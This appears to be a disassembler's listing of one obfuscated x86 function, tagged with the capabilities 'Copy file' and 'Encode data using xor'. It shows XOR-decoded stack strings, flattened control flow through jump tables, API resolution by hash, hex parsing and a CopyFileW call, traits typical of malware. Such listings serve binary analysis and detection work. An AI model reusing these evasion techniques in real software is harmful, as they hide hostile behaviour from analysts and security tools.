Function at 0x426c88
Capabilities:
Copy file
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.00426240
add esp, 4
test al, al
je 0x426900
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0xe0
mov dword [esp + 0xa0], 0x452a430b
mov dword [esp + 0xa4], 0x49dc47d5
mov dword [esp + 0xa8], 0x4d204b2b
mov dword [esp + 0xac], 0x71004f22
mov dword [esp + 0xb0], 0x75e07313
mov dword [esp + 0xb4], 0x7978771e
mov word [esp + 0xb8], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
lea ecx, [eax + eax]
mov esi, ecx
and esi, 0x24
mov edx, eax
xor edx, 0xd2
add edx, esi
xor dl, byte [esp + eax + 0xa0]
add dl, 0x70
mov byte [esp + eax + 0xa0], dl
and ecx, 2
xor eax, 1
add eax, ecx
cmp eax, 0x1a
jb 0x426960
mov dword [esp + 0x1c], 0xb90ab70a
mov dword [esp + 0x20], 0xbdfbbbff
mov dword [esp + 0x24], 0xa113bff7
mov dword [esp + 0x28], 0xa516a316
mov dword [esp + 0x2c], 0xa914a71f
mov dword [esp + 0x30], 0xadedabe7
mov dword [esp + 0x34], 0x91d8afed
mov dword [esp + 0x38], 0x95da93db
mov dword [esp + 0x3c], 0x992497d3
mov dword [esp + 0x40], 0x9dd39b29
mov dword [esp + 0x44], 0x81349fd8
mov dword [esp + 0x48], 0x85c58335
mov dword [esp + 0x4c], 0x89cd8734
mov dword [esp + 0x50], 0x8d3a8b36
mov dword [esp + 0x54], 0xf15c8f2f
mov dword [esp + 0x58], 0xf551f364
mov dword [esp + 0x5c], 0xf94bf74a
mov dword [esp + 0x60], 0xfd59fb6e
mov dword [esp + 0x64], 0xe14dff5f
mov word [esp + 0x68], 0xe3e2
mov byte [esp + 0x6a], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x1c]
mov edx, eax
and edx, 4
mov esi, eax
and esi, 2
mov edi, esi
xor edi, 2
imul edi, edx
or edx, 2
imul edx, esi
mov esi, eax
xor esi, 0x9eb63a86
add esi, edi
add esi, edx
mov edx, ecx
not edx
lea edi, [esi + esi]
not edi
add edi, esi
and edi, ecx
lea ecx, [ecx + edx*2]
inc ecx
and ecx, esi
or ecx, edi
add cl, 0xd0
mov byte [esp + eax + 0x1c], cl
inc eax
cmp eax, 0x4f
jne case.default.0x426aa9
lea edi, [esp + 0xa0]
lea ebx, [esp + 0x1c]
push edi
push ebx
call fcn.00438360
add esp, 8
mov esi, eax
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x446024]
mov ecx, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x426ac0
sub eax, esi
cmp eax, 0xffffffd9
jge 0x426ae0
mov eax, 0xffffffff
jmp 0x426ae3
xor ebx, ebx
jmp 0x4276b4
add eax, 0x26
push eax
call fcn.00408620
add esp, 4
mov ebp, eax
mov dword [esp + 0x1c], 0x3a9a38eb
mov dword [esp + 0x20], 0x3ea33ca4
mov dword [esp + 0x24], 0x32a83099
mov dword [esp + 0x28], 0x36993494
mov dword [esp + 0x2c], 0x2ab62894
mov dword [esp + 0x30], 0x2e8b2cb5
mov dword [esp + 0x34], 0x228620b6
mov dword [esp + 0x38], 0x26b324fd
mov dword [esp + 0x3c], 0x1abf1883
mov word [esp + 0x40], 0x1c1b
mov byte [esp + 0x42], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xbf
xor cl, byte [esp + eax + 0x1c]
add cl, 8
mov byte [esp + eax + 0x1c], cl
inc eax
cmp eax, 0x27
jne 0x426b50
movzx ecx, word [esi]
mov eax, ebp
test cx, cx
je 0x426b91
mov edx, esi
add edx, 2
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x426b80
mov word [eax], 0
movzx ecx, word [esp + 0x1c]
test cx, cx
je 0x426bc1
lea edx, [esp + 0x1e]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x426bb0
mov word [eax], 0
jmp dword [0x44602c]
push esi
call fcn.00408630
add esp, 4
xor eax, eax
cmp word [ebp], 0x2a
sete al
jmp dword [eax*4 + 0x446034]
mov dword [esp + 0x1c], 0x21fa3ffd
mov dword [esp + 0x20], 0x2587239e
mov dword [esp + 0x24], 0x29862789
mov dword [esp + 0x28], 0x2d852b8c
mov dword [esp + 0x2c], 0x11ac2f89
mov dword [esp + 0x30], 0x15bb13b1
mov dword [esp + 0x34], 0x19be17b8
mov dword [esp + 0x38], 0x1dbb1bb3
mov dword [esp + 0x3c], 0x1961ff0
mov dword [esp + 0x40], 0x5a203a6
mov word [esp + 0x44], 0x706
mov byte [esp + 0x46], 0
mov eax, 0x4f
mov ecx, 0x31
nop
nop
nop
nop
mov esi, eax
neg esi
and esi, 0x71
mov edx, ecx
or edx, 0x8e
add edx, eax
or edx, esi
xor dl, byte [esp + eax - 0x33]
xor dl, 0x71
add dl, 0x90
mov byte [esp + eax - 0x33], dl
inc eax
dec ecx
cmp eax, 0x7a
jne 0x426c50
push 0
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp dword [0x446040]
xor eax, eax
cmp word [ebp], 0x2a
sete al
jmp dword [eax*4 + 0x446034]
jmp dword [0x446040]
add ebx, 4
mov ebx, dword [ebx]
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x446084]
jmp dword [0x446094]
mov eax, dword [ebx]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ebx
jmp dword [0x4460a0]
mov ecx, esi
sub ecx, edi
cmp esi, edx
mov dword [esp], edx
jne 0x426da0
mov dword [esp + 8], ecx
mov eax, ecx
sar eax, 3
inc eax
mov ecx, edx
mov esi, edi
sub ecx, edi
sar ecx, 3
mov edx, ecx
shr edx, 1
add edx, ecx
cmp edx, eax
ja 0x426d04
mov edx, eax
mov eax, edx
and eax, 8
mov ecx, edx
or ecx, 8
imul ecx, eax
xor eax, 8
mov edi, edx
mov dword [esp + 0x70], edx
and edx, 0xfffffff7
imul edx, eax
add ecx, edx
push ecx
call fcn.00408620
add esp, 4
mov edi, eax
test esi, esi
je 0x426d8e
cmp esi, dword [esp]
mov dword [esp + 4], esi
je 0x426d7e
mov esi, dword [esp + 4]
mov eax, esi
not eax
mov dword [esp + 0x18], eax
mov ebx, esi
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
and ecx, dword [esp + 4]
mov edx, ebx
and edx, dword [esp + 0x18]
sub edx, ecx
mov ecx, dword [esi]
mov dword [edi + edx], ecx
mov ecx, dword [esi + 4]
mov dword [edi + edx + 4], ecx
mov dword [esi], 0
add ebx, 8
add eax, 0xfffffff8
add esi, 8
cmp esi, dword [esp]
jne 0x426d50
push dword [esp + 4]
call fcn.00408630
add esp, 4
mov ebx, dword [esp + 0xc]
mov eax, dword [esp + 0x70]
lea eax, [edi + eax*8]
mov dword [esp], eax
mov esi, edi
mov ecx, dword [esp + 8]
add esi, ecx
add ecx, edi
mov edx, dword [esp + 0x10]
call fcn.0042adb0
add esi, 8
mov edx, dword [esp]
jmp dword [0x4460a8]
mov ecx, esi
sub ecx, edi
cmp esi, edx
mov dword [esp], edx
jne 0x426e84
mov dword [esp + 8], ecx
mov eax, ecx
sar eax, 3
inc eax
mov ecx, edx
sub ecx, edi
sar ecx, 3
mov esi, ecx
shr esi, 1
add esi, ecx
cmp esi, eax
ja 0x426de3
mov esi, eax
mov eax, esi
and eax, 8
mov ecx, esi
or ecx, 8
imul ecx, eax
xor eax, 8
mov edx, esi
and edx, 0xfffffff7
imul edx, eax
add ecx, edx
push ecx
call fcn.00408620
add esp, 4
test edi, edi
je 0x426e74
mov dword [esp + 0x70], esi
cmp edi, dword [esp]
mov dword [esp + 4], edi
mov edi, eax
je 0x426e5e
mov esi, dword [esp + 4]
mov ecx, esi
not ecx
mov dword [esp + 0x18], ecx
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, ecx
and ebx, dword [esp + 4]
mov edx, eax
and edx, dword [esp + 0x18]
sub edx, ebx
mov ebx, dword [esi]
mov dword [edi + edx], ebx
mov ebx, dword [esi + 4]
mov dword [edi + edx + 4], ebx
mov dword [esi], 0
add eax, 8
add ecx, 0xfffffff8
add esi, 8
cmp esi, dword [esp]
jne 0x426e30
push dword [esp + 4]
call fcn.00408630
add esp, 4
mov ebx, dword [esp + 0xc]
mov eax, edi
mov esi, dword [esp + 0x70]
mov edi, eax
lea eax, [eax + esi*8]
mov dword [esp], eax
mov esi, edi
mov ecx, dword [esp + 8]
add esi, ecx
add ecx, edi
mov edx, dword [esp + 0x10]
call fcn.0042adb0
add esi, 8
mov edx, dword [esp]
jmp case.0x426aa9.30
mov esi, dword [esp + 0x94]
lea eax, [esi + 1]
push eax
call fcn.00408620
add esp, 4
push 0
push esi
mov dword [esp + 0x88], eax
push eax
push dword [esp + 0x84]
call fcn.0043e2e0
add esp, 0x10
not eax
shr eax, 0x1f
xor ecx, ecx
mov edx, dword [esp + 0x10]
mov dword [esp + 0xc], edx
jmp dword [eax*4 + 0x446114]
mov esi, dword [esp + 0x94]
mov ebx, dword [esp + 0x80]
mov byte [ebx + esi], 0
push 0x20
call fcn.00408620
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x7c], eax
mov ecx, eax
push esi
push ebx
call fcn.00429bb0
movzx eax, al
xor ecx, ecx
mov edx, dword [esp + 0x10]
mov dword [esp + 0xc], edx
jmp dword [eax*4 + 0x44611c]
mov dword [esp + 0x1c], 0xbc9189e6
mov dword [esp + 0x20], 0xa9b9abbe
mov dword [esp + 0x24], 0xbcaed8f2
mov dword [esp + 0x28], 0xd7fca7b7
mov dword [esp + 0x2c], 0xa5a6a3b1
mov dword [esp + 0x30], 0xa2a4d9e6
mov dword [esp + 0x34], 0xa4bcbba3
mov dword [esp + 0x38], 0xacb0b3d2
mov dword [esp + 0x3c], 0x16b0
movzx eax, byte [esp + ecx + 0x1c]
lea edx, [ecx - 0x6af30423]
xor edx, eax
mov edi, ecx
mov ecx, 0x6af30422
sub ecx, edi
or ecx, edx
mov edx, ecx
not edx
mov esi, ecx
and esi, 2
or ecx, 2
inc ecx
imul ecx, esi
mov esi, edx
and esi, 2
or edx, 2
imul edx, esi
sub ecx, edx
add ecx, edi
add cl, al
add cl, 0xf5
mov byte [esp + edi + 0x1c], cl
mov ecx, edi
mov eax, edi
or eax, 1
and ecx, 1
add ecx, eax
add ecx, 0x2fbf7e2e
mov eax, ecx
not eax
and ecx, 0xd1
and eax, 0x2e
sub ecx, eax
cmp ecx, 0x23
jbe case.default.0x427016
mov ecx, dword [esp + 0x7c]
lea eax, [esp + 0x1c]
push eax
call fcn.00429e00
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 8], 0
mov edx, dword [esp + 0x10]
mov dword [esp + 0xc], edx
jmp dword [ecx*4 + 0x446124]
mov eax, dword [case.0x426aa9.61]
mov edi, dword [esp]
mov ecx, dword [esp + 8]
jmp eax
jmp dword [0x4461ac]
mov dword [esp + 8], ecx
mov esi, dword [esp + 0x7c]
mov ecx, esi
call fcn.00429f90
push esi
call fcn.00408630
mov ecx, dword [esp + 0xc]
add esp, 4
mov eax, dword [0x4461c0]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x446134]
add eax, 8
mov dword [esp + 8], 0
mov edx, dword [eax]
xor eax, eax
test edx, edx
setne al
mov ecx, dword [esp + 0x10]
mov dword [esp + 0xc], ecx
jmp dword [eax*4 + 0x44613c]
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x44613c]
mov eax, dword [edx]
cmp dword [edx + 0x18], 3
mov edi, 0
jne case.default.0x4270df
mov edi, dword [edx + 0x10]
mov dword [esp + 0x70], eax
test eax, eax
setne al
test edi, edi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x446144]
mov dword [esp + 0x14], edx
mov ecx, edi
nop
nop
nop
nop
mov eax, ecx
inc ecx
cmp byte [eax], 0
jne case.default.0x427128
mov ecx, edi
not ecx
and ecx, eax
add ecx, ecx
xor eax, edi
sub ecx, eax
inc ecx
shr ecx, 1
mov dword [esp + 0x98], ecx
lea eax, [ecx + 1]
push eax
call fcn.00408620
add esp, 4
movsx edx, byte [edi]
xor ecx, ecx
test edx, edx
setne cl
mov dword [esp + 0x6c], eax
jmp dword [ecx*4 + 0x44614c]
inc edi
mov byte [eax], cl
inc eax
movsx edx, byte [edi]
xor ecx, ecx
test edx, edx
setne cl
jmp dword [ecx*4 + 0x44614c]
lea ecx, [edx - 0x30]
cmp ecx, 0xa
jb 0x427152
mov ecx, 0xffffffff
or edx, 0x20
lea ebx, [edx - 0x61]
cmp ebx, 6
jae case.default.0x42716d
add edx, 0xffffffa9
mov ecx, edx
movsx edx, byte [edi + 1]
xor ebx, ebx
test edx, edx
setne bl
jmp dword [ebx*4 + 0x446154]
lea ebx, [edx - 0x30]
cmp ebx, 0xa
jb 0x427181
mov ebx, 0xffffffff
or edx, 0x20
lea esi, [edx - 0x61]
cmp esi, 6
jae case.default.0x4271b0
add edx, 0xffffffa9
mov ebx, edx
shl ecx, 4
add edi, 2
mov edx, ebx
not edx
and edx, ecx
xor ebx, ecx
add ebx, ecx
sub ebx, edx
mov byte [eax], bl
inc eax
movsx edx, byte [edi]
xor ecx, ecx
test edx, edx
setne cl
jmp dword [ecx*4 + 0x44614c]
mov byte [eax], 0
mov dword [esp + 0x18], 0
push 0
push 0x10
push 0
push dword [esp + 0x7c]
call fcn.0042a030
add esp, 0x10
xor ebx, ebx
mov edi, dword [esp + 4]
cmp edi, dword [esp]
setne bl
jmp dword [ebx*4 + 0x44616c]
mov ecx, dword [edi]
mov dword [esp + 0x18], ecx
xor ecx, ecx
jmp dword [ecx*4 + 0x44617c]
add edi, 8
xor ebx, ebx
cmp edi, dword [esp]
setne bl
jmp dword [ebx*4 + 0x44616c]
mov ebx, dword [edi + 4]
mov esi, ebx
shr esi, 0x1c
shl ebx, 4
or ebx, 1
xor esi, edx
xor ebx, eax
xor ecx, ecx
or ebx, esi
sete cl
jmp dword [ecx*4 + 0x446174]
mov ebx, 1
jmp dword [ebx*4 + 0x44617c]
xor eax, eax
mov esi, dword [esp + 0x18]
test esi, esi
setne al
jmp dword [eax*4 + 0x446184]
mov edx, dword [esp + 0x14]
jmp dword [0x446194]
mov eax, dword [esp + 0x98]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x20], eax
xor eax, eax
nop
nop
cmp byte [esi + eax], 0
lea eax, [eax + 1]
jne case.default.0x4272e9
add eax, esi
dec eax
mov ecx, esi
not ecx
and ecx, eax
add ecx, ecx
xor eax, esi
sub ecx, eax
mov dword [esp + 0x8c], ecx
mov dword [esp + 0x90], esi
mov dword [esp + 0x84], 0
mov dword [esp + 0x88], 0
push 0x8b2600cb
push dword [0x44aeac]
call fcn.0043d470
add esp, 8
lea ecx, [esp + 0x84]
lea edx, [esp + 0x8c]
push ecx
push 1
push 0
push 0
push edx
push 0
lea ecx, [esp + 0x34]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
mov ebx, dword [esp + 4]
jmp dword [ecx*4 + 0x44618c]
mov dword [esp + 4], ebx
mov edx, dword [esp + 0x14]
jmp dword [0x446194]
movzx eax, byte [esi]
test al, al
je 0x427317
inc esi
mov ecx, dword [esp + 0xc]
mov byte [ecx], al
inc ecx
movzx eax, byte [esi]
inc esi
test al, al
jne 0x42730a
jmp 0x42731b
mov ecx, dword [esp + 0xc]
mov word [ecx], 0x203a
mov eax, ecx
add eax, 2
mov edi, dword [esp + 0x84]
test edi, edi
je 0x42735b
mov ecx, dword [esp + 0x88]
mov edx, edi
and edx, 3
je 0x42735f
xor esi, esi
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + esi], bl
inc esi
cmp edx, esi
jne 0x427340
add eax, esi
mov edx, edi
sub edx, esi
mov esi, eax
jmp 0x427361
mov esi, eax
jmp 0x42739f
mov edx, edi
cmp edi, 4
jb 0x42739f
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea esi, [eax + 4]
mov byte [eax + 3], bl
mov eax, esi
add edx, 0xfffffffc
jne 0x427366
mov byte [esi], 0xa
inc esi
mov dword [esp + 0xc], esi
push 0xd77a5d9a
push dword [0x449e94]
call fcn.0043d470
add esp, 8
push dword [esp + 0x88]
call eax
mov al, 1
mov dword [esp + 8], eax
mov edx, dword [esp + 0x14]
jmp dword [0x446194]
push dword [esp + 0x6c]
call fcn.00408630
mov edx, dword [esp + 0x18]
add esp, 4
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x44613c]
jmp dword [0x44607c]
add eax, 8
xor esi, esi
mov ebx, dword [eax]
xor eax, eax
test ebx, ebx
setne al
xor edi, edi
xor edx, edx
jmp dword [eax*4 + 0x446084]
mov esi, dword [esp + 0x8c]
lea eax, [esi + 1]
push eax
call fcn.00408620
add esp, 4
push 0
push esi
mov dword [esp + 0x7c], eax
push eax
push dword [esp + 0xac]
call fcn.0043e2e0
add esp, 0x10
not eax
shr eax, 0x1f
xor esi, esi
xor edi, edi
jmp dword [eax*4 + 0x44605c]
mov esi, dword [esp + 0x8c]
mov edi, dword [esp + 0x74]
mov byte [edi + esi], 0
push 0x20
call fcn.00408620
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x6c], eax
mov ecx, eax
push esi
push edi
call fcn.00429bb0
movzx eax, al
xor esi, esi
xor edi, edi
jmp dword [eax*4 + 0x446064]
mov dword [esp + 0x1c], 0x91626c71
mov dword [esp + 0x20], 0x6c9a6691
mov dword [esp + 0x24], 0x616d7d25
mov dword [esp + 0x28], 0x421f6a98
mov dword [esp + 0x2c], 0x585556a6
mov dword [esp + 0x30], 0x5a5b7619
mov dword [esp + 0x34], 0xa952ae55
mov dword [esp + 0x38], 0x3fad
mov eax, 0xe880746e
mov edi, 0x177f8b91
movzx edx, byte [esp + edi - 0x177f8b75]
lea esi, [edi - 0x177f8aff]
and esi, edx
mov ecx, esi
and ecx, 0xffffffbd
mov ebx, esi
and ebx, 2
or esi, 2
imul esi, ebx
xor ebx, 2
imul ebx, ecx
add esi, ebx
lea ebx, [eax + esi]
mov ecx, edi
sub ecx, esi
and ecx, edx
not edx
and edx, ebx
sub ecx, edx
add cl, 0x70
mov byte [esp + edi - 0x177f8b75], cl
dec eax
inc edi
cmp eax, 0xe880744e
jne 0x4275c0
mov ecx, dword [esp + 0x6c]
lea eax, [esp + 0x1c]
push eax
call fcn.00429e00
xor ecx, ecx
test eax, eax
setne cl
xor edi, edi
xor esi, esi
jmp dword [ecx*4 + 0x44606c]
jmp dword [0x4460ac]
mov ebx, edi
mov edi, dword [esp + 0x6c]
mov ecx, edi
call fcn.00429f90
push edi
mov edi, ebx
call fcn.00408630
add esp, 4
jmp dword [0x4460b4]
jmp dword [0x4460b4]
push dword [esp + 0x74]
call fcn.00408630
add esp, 4
mov eax, dword [case.0x426aa9.11]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
push ebp
call fcn.00408630
add esp, 4
xor ebx, ebx
mov esi, dword [esp + 4]
test esi, esi
je 0x4276b4
cmp esi, edi
jne 0x427697
jmp 0x4276b4
add esi, 8
cmp esi, edi
je 0x4276a8
mov eax, dword [esi]
test eax, eax
je 0x427690
push eax
call fcn.00408630
add esp, 4
jmp 0x427690
push dword [esp + 4]
call fcn.00408630
add esp, 4
mov eax, ebx
add esp, 0xe0
pop esi
pop edi
pop ebx
pop ebp
ret
xor ebx, ebx
mov edi, dword [esp]
jmp dword [0x4460fc]
mov edi, dword [esp + 0x9c]
test edi, edi
jns 0x4276f5
mov eax, 0xffffffff
jmp 0x4276f8
lea eax, [edi + edi]
push eax
call fcn.00408620
add esp, 4
mov ebp, eax
push esi
push edi
push eax
push 0x1e
lea eax, [esp + 0xb0]
push eax
push 0
call dword [0x44ae9c]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4460f4]
mov edi, dword [esp]
mov eax, edi
sub eax, dword [esp + 4]
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.00408620
add esp, 4
mov esi, eax
lea eax, [esp + 0x78]
push 0x60
push 3
push 0x120089
push eax
push ebp
call fcn.0043df00
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 0x10], esi
jmp dword [eax*4 + 0x446104]
xor ebx, ebx
mov dword [esp + 0xc], esi
jmp dword [0x4461cc]
mov dword [esp + 0x74], ebp
lea eax, [esp + 0x94]
push 0
push eax
push dword [esp + 0x80]
call fcn.0043e220
add esp, 0xc
not eax
shr eax, 0x1f
xor ebp, ebp
mov ecx, dword [esp + 0x10]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], 0
jmp dword [eax*4 + 0x44610c]
mov dword [esp], edi
mov eax, dword [esp + 0x78]
mov dword [esp + 0x1c], 0x16171819
mov word [esp + 0x20], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + ebp + 0x1c]
lea edx, [ebp + 6]
mov ecx, 0x2f2f3649
sub ecx, ebp
or ecx, edi
mov esi, 0x49
sub esi, ebp
and esi, 0x44
and edx, 0xb
or edx, esi
xor edx, 0xb
and edx, edi
not ecx
or ecx, edx
lea edx, [ecx + ecx]
and edx, 0xf2f3649e
xor ecx, 0x7979b24f
mov esi, edx
and esi, ecx
xor ecx, edx
lea ecx, [ecx + esi*2]
inc cl
mov byte [esp + ebp + 0x1c], cl
mov ecx, ebp
and ecx, 1
xor ebp, 0x903fd8f1
lea ebp, [ebp + ecx*2 + 0x6fc02710]
cmp ebp, 6
jb 0x4277d0
mov ecx, dword [0x44aea0]
test ecx, ecx
mov ebp, dword [esp + 0x74]
je 0x427868
mov edx, dword [esp + 0x1c]
xor edi, edi
mov ebx, dword [0x44aea4]
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0xb430e561
je 0x427860
inc edi
cmp ecx, edi
jne 0x427850
jmp 0x427868
mov ecx, dword [ebx + edi*8 + 4]
cmp ecx, edx
jne 0x427883
mov edi, dword [esp]
mov ebx, dword [esp + 8]
jmp dword [0x4461cc]
push eax
push 4
push ecx
push dword [0x44aea8]
call fcn.0043b9a0
add esp, 0x10
mov edi, dword [esp]
mov ebx, dword [esp + 8]
jmp dword [0x4461cc]
mov dword [esp], edi
mov dword [esp + 0x1c], 0x4d804b6f
mov dword [esp + 0x20], 0x71934fa1
mov dword [esp + 0x24], 0x75987393
mov dword [esp + 0x28], 0x79e877b7
mov dword [esp + 0x2c], 0x7db87bea
mov dword [esp + 0x30], 0x61f47f9f
mov dword [esp + 0x34], 0x65416383
mov dword [esp + 0x38], 0x699b679a
mov dword [esp + 0x3c], 0x6d896bfe
mov dword [esp + 0x40], 0x11fd6f8f
mov dword [esp + 0x44], 0x15f813ee
mov dword [esp + 0x48], 0x19fb17f9
mov dword [esp + 0x4c], 0x1df01bfb
mov dword [esp + 0x50], 0x1961f30
mov dword [esp + 0x54], 0x5e203e6
lea eax, [esp + 0x58]
mov word [esp + 0x58], 0x706
mov byte [esp + 0x5a], 0
mov ecx, 0x7efd309a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x7efd307e]
lea esi, [ecx - 0x7efd3000]
and esi, edx
or edx, ecx
xor edx, esi
mov esi, edx
xor esi, 0x50
mov edi, edx
or edi, 0x2f
and edi, esi
lea esi, [edx + edx]
and esi, 0x5e
sub edx, esi
lea edx, [edx + edi*2]
add dl, 0x30
mov byte [esp + ecx - 0x7efd307e], dl
inc ecx
cmp ecx, 0x7efd30d9
jne 0x427940
lea edx, [esp + 0x1c]
mov ecx, 0xf
lea ebp, [esp + 0xa0]
mov edi, ebp
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xdc]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea esi, [esp + 0x9c]
push esi
push 0
push 0
push 0x1e
push ebp
push 0
call dword [0x44ae9c]
mov dword [esp + 0x1c], 0xcf8e8d6f
mov byte [esp + 0x20], 0
mov ecx, 0x840a3eec
movzx edx, byte [esp + ecx + 0x7bf5c130]
xor edx, ecx
mov edi, edx
and edi, 0x1f
xor edx, 0x9f
lea edx, [edx + edi*2]
inc dl
mov byte [esp + ecx + 0x7bf5c130], dl
inc ecx
cmp ecx, 0x840a3ef1
jne 0x4279d0
xor ecx, ecx
cmp eax, dword [esp + 0x1c]
setne cl
jmp dword [ecx*4 + 0x4460dc]
mov ecx, dword [case.0x426aa9.49]
mov edi, dword [esp]
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
jmp 0x42767d
push 0x60
push 3
push 0x120089
push edi
push ebp
call fcn.0043df00
add esp, 0x14
push 0x60
push 3
push 0x120089
push edi
push ebp
call fcn.0043df00
add esp, 0x14
jmp dword [0x446044]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44604c]
xor esi, esi
xor edi, edi
jmp dword [0x4460cc]
push ebp
call fcn.00408630
add esp, 4
xor eax, eax
mov dword [esp + 4], esi
cmp esi, edi
sete al
jmp dword [eax*4 + 0x4460d4]
mov dword [esp + 0x14], ebp
lea eax, [esp + 0x8c]
push 0
push eax
push dword [esp + 0xa8]
call fcn.0043e220
add esp, 0xc
not eax
shr eax, 0x1f
xor ebp, ebp
xor esi, esi
xor edi, edi
jmp dword [eax*4 + 0x446054]
mov ebx, edi
mov dword [esp], esi
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x1c], 0x16171819
mov word [esp + 0x20], 0
nop
nop
movzx esi, byte [esp + ebp + 0x1c]
lea edx, [ebp + 6]
mov ecx, 0x2f2f3649
sub ecx, ebp
or ecx, esi
mov edi, 0x49
sub edi, ebp
and edi, 0x44
and edx, 0xb
or edx, edi
xor edx, 0xb
and edx, esi
not ecx
or ecx, edx
lea edx, [ecx + ecx]
and edx, 0xf2f3649e
xor ecx, 0x7979b24f
mov esi, edx
and esi, ecx
xor ecx, edx
lea ecx, [ecx + esi*2]
inc cl
mov byte [esp + ebp + 0x1c], cl
mov ecx, ebp
and ecx, 1
xor ebp, 0x903fd8f1
lea ebp, [ebp + ecx*2 + 0x6fc02710]
cmp ebp, 6
jb 0x427ad0
mov ecx, dword [0x44aea0]
test ecx, ecx
mov ebp, dword [esp + 0x14]
je 0x427b68
mov edx, dword [esp + 0x1c]
xor esi, esi
mov edi, dword [0x44aea4]
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb430e561
je 0x427b60
inc esi
cmp ecx, esi
jne 0x427b50
jmp 0x427b68
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x427b85
mov edi, dword [esp]
mov esi, ebx
jmp dword [0x4460cc]
xor eax, eax
mov dword [esp + 4], esi
cmp esi, edi
sete al
jmp dword [eax*4 + 0x4460d4]
push eax
push 4
push ecx
push dword [0x44aea8]
call fcn.0043b9a0
add esp, 0x10
mov edi, dword [esp]
mov esi, ebx
jmp dword [0x4460cc]
int3
push 0x42
add cl, bl
push 0x42
add ah, cl
imul eax, dword [edx], 0xffffff88
insb byte es:[edi], dx
inc edx
add byte [ecx - 0x19ffbd94], bl
imul eax, dword [edx], 0x27
jp 0x446081
add byte [edx], bh
jp 0x446085
add byte [ebx + 0x7a], dl
inc edx
add byte [edi], ah
jp 0x44608d
add byte [edi + 0x7a], bl
inc edx
add byte [edx + edi*2 + 0x7ab30042], al
inc edx
add bh, bl
je 0x44609d
add byte [esi + 0x76], cl
inc edx
add byte [ecx], bl
jne 0x4460a5
add byte [edx], ch
jbe 0x4460a9
add byte [esi + 0x75], dh
inc edx
add byte [edx], ch
jbe 0x4460b1
add al, al
je 0x4460b5
add al, al
je 0x4460b9
add al, al
je 0x4460bd
add dh, al
je 0x4460c1
add al, al
je 0x4460c5
add byte [edx], ch
jbe 0x4460c9
add al, al
insb byte es:[edi], dx
inc edx
add al, al
insb byte es:[edi], dx
inc edx
add al, al
insb byte es:[edi], dx
inc edx
add dh, al
insb byte es:[edi], dx
inc edx
add al, al
insb byte es:[edi], dx
inc edx
add byte [edi - 0x29ffbd93], dh
insd dword es:[edi], dx
inc edx
add dh, dl
insb byte es:[edi], dx
inc edx
add byte [edi - 0x5affbd93], dh
insd dword es:[edi], dx
inc edx
add byte [ebp + 0x3000426c], ah
insb byte es:[edi], dx
inc edx
add byte [eax], dh
jbe 0x4460f1
